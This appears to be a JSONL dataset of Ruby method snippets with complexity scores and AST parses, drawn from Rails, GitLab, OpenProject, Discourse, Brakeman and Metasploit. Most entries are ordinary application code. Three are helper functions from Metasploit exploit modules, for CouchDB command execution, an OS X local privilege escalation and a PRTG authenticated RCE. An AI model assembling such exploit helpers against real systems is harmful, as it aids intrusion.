\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"57618dd8-e3d0-45d8-807d-f170a4cc1c76"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_couchdb_cmd_exec.rb","start_line":327,"raw_source":"def cmdstager_path\n    @cmdstager_path ||=\n      \"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}\"\n  end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"cmdstager_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cmdstager_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"WritableDir\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[8]}]}]}]}]}]}","id":"735fa0c0-0808-4868-8575-c60fd9a2caeb"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/op_primer/border_box_table_component.rb","start_line":118,"raw_source":"def render_blank_slate\n      render(Primer::Beta::Blankslate.new(border: false)) do |component|\n        component.with_visual_icon(icon: blank_icon, size: :medium) if blank_icon\n        component.with_heading(tag: :h2) { blank_title }\n        component.with_description { blank_description }\n      end\n    end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"render_blank_slate\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Primer\"]},\"Beta\"]},\"Blankslate\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"border\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"component\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blank_icon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"with_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"send\",\"children\":[null,\"blank_icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"sym\",\"children\":[\"medium\"]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"with_heading\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"h2\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"blank_title\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"component\"]},\"with_description\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"blank_description\"]}]}]}]}]}","id":"11b68516-0644-4ac8-86d7-d08dd62bac8b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/snippet.rb","start_line":57,"raw_source":"def api_post_body\n        {\n          title: title,\n          description: description,\n          visibility: visibility.downcase,\n          files: all_file_contents\n        }\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility\"]},\"downcase\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"files\"]},{\"type\":\"send\",\"children\":[null,\"all_file_contents\"]}]}]}]}","id":"7fc423a8-1af0-4e38-928a-907708924e8d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20240607041020_add_fk_to_member_role_on_ldap_group_links.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :ldap_group_links, column: :member_role_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"ldap_group_links\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"member_role_id\"]}]}]}]}]}]}","id":"13925541-66c5-4a13-99e8-f4814c0d07ac"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nmap_document.rb","start_line":433,"raw_source":"def record_vuln_table(attrs)\n      if attrs.dig(0, 0) == 'key' && @state[:vulners] == {}\n        @state[:vulners][:cpe] = attrs[0][1]\n        @state[:vulners][:refs] = []\n      end\n    end","complexity_score":14.55,"ast_json":"{\"type\":\"def\",\"children\":[\"record_vuln_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"dig\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulners\"]}]},\"==\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulners\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"cpe\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulners\"]}]},\"[]=\",{\"type\":\"sym\",\"children\":[\"refs\"]},{\"type\":\"array\",\"children\":[]}]}]},null]}]}","id":"8046b191-88c2-46dd-88d0-7bec1eb7b0e7"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/lib/ansible/runner/credential/machine_credential_spec.rb","start_line":81,"raw_source":"def password_hash\n        YAML.load_file(password_file)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"password_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"send\",\"children\":[null,\"password_file\"]}]}]}","id":"56007961-11d1-4fe7-b86e-d85109191b0e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/dynamic_model_helpers.rb","start_line":28,"raw_source":"def each_batch(table_name, connection:, scope: ->(table) { table.all }, of: BATCH_SIZE, **opts)\n        if transaction_open?\n          raise <<~MSG.squish\n            each_batch should not run inside a transaction, you can disable\n            transactions by calling disable_ddl_transaction! in the body of\n            your migration class\n          MSG\n        end\n\n        opts.select! { |k, _| [:column].include? k }\n\n        batchable_model = define_batchable_model(table_name, connection: connection)\n\n        scope.call(batchable_model)\n          .each_batch(of: of, **opts) { |batch| yield batch, batchable_model }\n      end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"each_batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"kwarg\",\"children\":[\"connection\"]},{\"type\":\"kwoptarg\",\"children\":[\"scope\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"all\"]}]}]},{\"type\":\"kwoptarg\",\"children\":[\"of\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction_open?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"each_batch should not run inside a transaction, you can disable\\n\"]},{\"type\":\"str\",\"children\":[\"transactions by calling disable_ddl_transaction! in the body of\\n\"]},{\"type\":\"str\",\"children\":[\"your migration class\\n\"]}]},\"squish\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"select!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"batchable_model\",{\"type\":\"send\",\"children\":[null,\"define_batchable_model\",{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"connection\"]},{\"type\":\"lvar\",\"children\":[\"connection\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"batchable_model\"]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"lvar\",\"children\":[\"of\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},{\"type\":\"lvar\",\"children\":[\"batchable_model\"]}]}]}]}]}","id":"9516e04d-79e7-4a22-8380-3c3dcff41d1f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project.rb","start_line":1960,"raw_source":"def to_reference(from = nil, full: false)\n    base = to_reference_base(from, full: true)\n    \"#{base}#{self.class.reference_postfix}\"\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_reference\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"from\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"full\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[null,\"to_reference_base\",{\"type\":\"lvar\",\"children\":[\"from\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"reference_postfix\"]}]}]}]}]}","id":"f0c35133-4e3c-45e1-a437-c779502f6c95"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/tpwn.rb","start_line":91,"raw_source":"def ver?\n    Rex::Version.new(get_sysinfo['ProductVersion']).between?(\n      Rex::Version.new('10.10.4'), Rex::Version.new('10.10.5')\n    )\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ver?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_sysinfo\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ProductVersion\"]}]}]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"10.10.4\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"10.10.5\"]}]}]}]}","id":"cdd66612-19cb-4aad-b11a-5abc8a670a76"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1606,"raw_source":"def use_advisory_lock?\n        connection.advisory_locks_enabled?\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"use_advisory_lock?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"advisory_locks_enabled?\"]}]}","id":"aee06c24-a7f8-4e0a-a4f4-5c40323fee01"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/issue_formatter.rb","start_line":30,"raw_source":"def pull_request?\n        raw_data[:pull_request].present?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pull_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pull_request\"]}]},\"present?\"]}]}","id":"ce20d77d-8609-43be-a8a4-2b96bdc267fe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/performance_bar/stats.rb","start_line":88,"raw_source":"def logger\n        @logger ||= Gitlab::PerformanceBar::Logger.build\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"logger\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@logger\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"PerformanceBar\"]},\"Logger\"]},\"build\"]}]}]}","id":"877daa69-9bb6-4e8b-b46c-b24edacbf0ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb","start_line":210,"raw_source":"def run_sensor_with_id(sensor_id)\n    csrf_token = get_csrf_token\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'api', 'scannow.htm'),\n      'keep_cookies' => true,\n      'headers' => {\n        'anti-csrf-token' => csrf_token,\n        'X-Requested-With' => 'XMLHttpRequest'\n      },\n      'vars_post' => {\n        id: sensor_id\n      }\n    })\n\n    if res && res.code == 200\n      print_good('Sensor started running')\n    else\n      fail_with(Failure::NoAccess, 'Failure to run sensor')\n    end\n  end","complexity_score":15.13,"ast_json":"{\"type\":\"def\",\"children\":[\"run_sensor_with_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sensor_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"csrf_token\",{\"type\":\"send\",\"children\":[null,\"get_csrf_token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"api\"]},{\"type\":\"str\",\"children\":[\"scannow.htm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"anti-csrf-token\"]},{\"type\":\"lvar\",\"children\":[\"csrf_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-Requested-With\"]},{\"type\":\"str\",\"children\":[\"XMLHttpRequest\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"sensor_id\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Sensor started running\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Failure to run sensor\"]}]}]}]}]}","id":"20262bf7-1f24-4fe8-a144-a09ca4cb7309"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/sync.rb","start_line":148,"raw_source":"def schedule_sync\n    Temporal.start_workflow(\n      Workflows::ScheduleSyncWorkflow,\n      id\n    )\n  rescue StandardError => e\n    Utils::ExceptionReporter.report(e, { sync_id: id })\n    Rails.logger.error \"Failed to schedule sync with Temporal. Error: #{e.message}\"\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_sync\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Temporal\"]},\"start_workflow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Workflows\"]},\"ScheduleSyncWorkflow\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"ExceptionReporter\"]},\"report\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to schedule sync with Temporal. Error: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]}]},null]}]}","id":"c40d8dc9-e804-4afd-8984-30d894d70962"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/alias_processor.rb","start_line":539,"raw_source":"def process_defs exp\n    meth_env do\n      exp.body = process_all! exp.body\n    end\n    exp\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"process_defs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"meth_env\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"body=\",{\"type\":\"send\",\"children\":[null,\"process_all!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"body\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]}","id":"ffb53883-55b8-45a6-9a61-801d6e9ca0bd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations_test.rb","start_line":458,"raw_source":"def test_nullify_composite_has_many_through_association\n    blog_post = sharded_blog_posts(:great_post_blog_one)\n    assert_not_empty(blog_post.tags)\n\n    blog_post.tags = []\n\n    assert_empty(blog_post.tags)\n    assert_empty(blog_post.reload.tags)\n    assert_not_predicate Sharded::BlogPostTag.where(blog_post_id: blog_post.id, blog_id: blog_post.blog_id), :exists?\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nullify_composite_has_many_through_association\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blog_post\",{\"type\":\"send\",\"children\":[null,\"sharded_blog_posts\",{\"type\":\"sym\",\"children\":[\"great_post_blog_one\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"tags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"tags=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"tags\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"reload\"]},\"tags\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sharded\"]},\"BlogPostTag\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blog_post_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"blog_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blog_post\"]},\"blog_id\"]}]}]}]},{\"type\":\"sym\",\"children\":[\"exists?\"]}]}]}]}","id":"20048afd-b0c4-44e5-b570-f2e10160a5c2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/connection_test.rb","start_line":50,"raw_source":"def test_successful_reconnection_after_timeout_with_verify\n    assert_predicate @connection, :active?\n    cause_server_side_disconnect\n    @connection.verify!\n    assert_predicate @connection, :active?\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_successful_reconnection_after_timeout_with_verify\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"active?\"]}]},{\"type\":\"send\",\"children\":[null,\"cause_server_side_disconnect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"verify!\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"active?\"]}]}]}]}","id":"b5e1e6a0-5436-449b-8da7-fc67be0362c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/commits/commit_patch_service.rb","start_line":33,"raw_source":"def prepare_branch!\n      branch_result = ::Branches::CreateService.new(project, current_user)\n                        .execute(@branch_name, @start_branch)\n\n      return if branch_result[:status] == :success\n\n      raise ChangeError, branch_result[:message]\n    end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_branch!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"branch_result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Branches\"]},\"CreateService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},\"execute\",{\"type\":\"ivar\",\"children\":[\"@branch_name\"]},{\"type\":\"ivar\",\"children\":[\"@start_branch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"status\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ChangeError\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branch_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]}]}]}]}","id":"dea6c260-3c05-4554-a5d0-f92582a892d9"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/feed_item_accessor.rb","start_line":10,"raw_source":"def element_content(element_name)\n    try_attribute_or_self(element(element_name), :content)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"element_content\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element_name\"]}]},{\"type\":\"send\",\"children\":[null,\"try_attribute_or_self\",{\"type\":\"send\",\"children\":[null,\"element\",{\"type\":\"lvar\",\"children\":[\"element_name\"]}]},{\"type\":\"sym\",\"children\":[\"content\"]}]}]}","id":"d6b3b254-61cc-4072-a32e-ba9a0323027c"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/work_packages/table/queries/date_is_empty_filter_spec.rb","start_line":78,"raw_source":"def remove_default\n    wp_table.expect_work_package_listed work_package_without_dates, work_package_with_start_date, work_package_with_custom_date\n\n    filters.open\n    filters.remove_filter(\"status\")\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wp_table\"]},\"expect_work_package_listed\",{\"type\":\"send\",\"children\":[null,\"work_package_without_dates\"]},{\"type\":\"send\",\"children\":[null,\"work_package_with_start_date\"]},{\"type\":\"send\",\"children\":[null,\"work_package_with_custom_date\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filters\"]},\"open\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filters\"]},\"remove_filter\",{\"type\":\"str\",\"children\":[\"status\"]}]}]}]}","id":"04d5c245-2eb0-47ea-8d95-a528126c1cd8"}
